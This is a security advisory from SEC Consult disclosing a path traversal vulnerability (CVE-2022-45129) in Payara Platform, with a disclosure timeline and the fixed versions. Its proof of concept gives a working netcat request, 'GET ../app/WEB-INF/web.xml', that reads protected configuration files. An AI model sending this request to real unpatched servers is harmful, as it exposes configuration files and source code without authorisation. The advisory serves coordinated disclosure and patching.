SEC Consult Vulnerability Lab Security Advisory < 20221114-0 > ======================================================================= title: Path Traversal Vulnerability product: Payara Platform vulnerable version: Enterprise: <5.45.0 Community: <6.2022.1, <5.2022.4, <4.1.2.191.38 fixed version: Enterprise: 5.45.0 Community: 6.2022.1, 5.2022.4, 4.1.2.191.38 CVE number: CVE-2022-45129 impact: High homepage: https://www.payara.fish found: 2022-09-29 by: Michael Baer (Office Nuremberg) SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Atos company Europe | Asia | North America https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "Payara Micro Community is the open source, lightweight middleware platform of choice for containerized Jakarta EE application deployments. less than 70MB, Payara Micro requires no installation, configuration, or code rewrites." Source: https://www.payara.fish/products/payara-platform-community/ Business recommendation: ------------------------ The vendor provides an update for the affected versions which should be installed immediately. SEC Consult highly recommends to perform a thorough security review of the Payara Software by security professionals to identify and resolve potential further security issues. Vulnerability overview/description: ----------------------------------- 1) Path Traversal Vulnerability (CVE-2022-45129) A path traversal similar to the old CVE-2021-41381 allows, under some circumstances, to bypass the protection of the WEB-INF/ and META-INF/ folders. It is possible to read files inside these directories of the deployed application. They mostly contain configuration files for the application but may also contain source code. Proof of concept: ----------------- 1) Path Traversal Vulnerability (CVE-2022-45129) a) (Setup) Deploy a web application at the root context (/). For this PoC, the following application was used: https://github.com/AKSarav/SampleWebApp =============================================================================== java -jar ./appserver/extras/payara-micro/payara-micro-distribution/target/payara-micro.jar --port 1234 --deploy app.war --contextroot / =============================================================================== This application uses the org.apache.catalina.servlets.DefaultServlet for serving files. The deployment at root (/) is crucial. The webapp has the following structure: . ├── WEB-INF │ ├── web.xml │ └── weblogic.xml ├── META-INF │ └── context.xml ├── index.html └── welcome.jsp b) (Attack) The attacking payload is an HTTP request with a path starting with ../<webapp-name>/ (note that it does not start with /). To issue this request, a netcat connection can be used: =============================================================================== $ nc localhost 1234 GET ../app/WEB-INF/web.xml HTTP/1.1 Host: abc =============================================================================== The server's response: =============================================================================== HTTP/1.1 200 OK Server: Payara Micro #badassfish Accept-Ranges: bytes ETag: W/"688-1664529724289" Last-Modified: Fri, 30 Sep 2022 09:22:04 GMT Content-Type: application/xml Content-Length: 688 X-Frame-Options: SAMEORIGIN <?xml version="1.0" encoding="UTF-8"?> [...] =============================================================================== It is possible to access all files in the app's directory /app. The issue arises because the leading ../ is not detected to escape the context and later the code of StandardContextValve.java only checks the beginning of the path for forbidden directories /META-INF/ and /WEB-INF/. =============================================================================== requestPath.toUpperCase().startsWith("/META-INF/", 0) =============================================================================== Vulnerable / tested versions: ----------------------------- The vulnerability has been found in version 5.2022.3 (using jdk8-openjdk 8.345.u01-1) and was verified as well on the Payara6 branch with the latest commit during the time of the test: e5f68cda7a72c0c15fb55b724fe5d2e1e6255510 (using jdk11-openjdk 11.0.16.1.u1-2). In both cases, the application was self-compiled from the official GitHub repository on an Arch Linux distribution. According to the vendor, "This vulnerability affects ALL the distributions of the Payara Platform (Server Full, Server Web, Micro, Embedded, Docker images) in every edition and major version.". The vulnerable versions are all before 6.2022.1, 4.1.2.191.38, 5.2022.4 (Community Edition) and 5.45.0 (Enterprise Edition). Vendor contact timeline: ------------------------ 2022-10-05: Contacting vendor through security@payara.fish asking for encryption key. Vendor agreed to proceed without encrypted channel. 2022-10-06: Sent security advisory to vendor. 2022-10-08: Vendor cannot reproduce vulnerability. 2022-10-10: Sending additional / more detailed information. 2022-10-12: Vendor confirms the vulnerability. 2022-10-17: Contacting vendor to coordinate release date. 2022-10-25: Vendor notifies that fix is applied and live in repository, we should wait for marketing to put patch notes online. 2022-11-02: Contacting vendor to ask for list of affected and fixed versions and CVE number and whether marketing already sent out the information. No reply. 2022-11-09: Identifying new version & patch notes are already available online. Requesting CVE number through MITRE. 2022-11-10: Sending CVE number to vendor 2022-11-11: Informing vendor about public release date on 2022-11-14 2022-11-14: Public release of security advisory. Solution: --------- The vendor fixed the software to detect illegal path traversals. The fixed versions are * 6.2022.1 (Community Edition) * 5.2022.4 (Community Edition) * 4.1.2.191.38 (Community Edition) * 5.45.0 (Enterprise Edition) The Community Edition can be downloaded from the vendor's website: https://www.payara.fish/downloads/payara-platform-community-edition/ The Enterprise Edition can be requested by the sales team of Payara. Further information regarding the vulnerability and releases can be found at the following web site of the vendor: https://blog.payara.fish/whats-new-in-the-november-2022-payara-platform-release Workaround: ----------- None Advisory URL: ------------- https://sec-consult.com/vulnerability-lab/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult, an Atos company Europe | Asia | North America About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Atos company. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://sec-consult.com/career/ Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://sec-consult.com/contact/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: security-research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF Michael Baer / @2022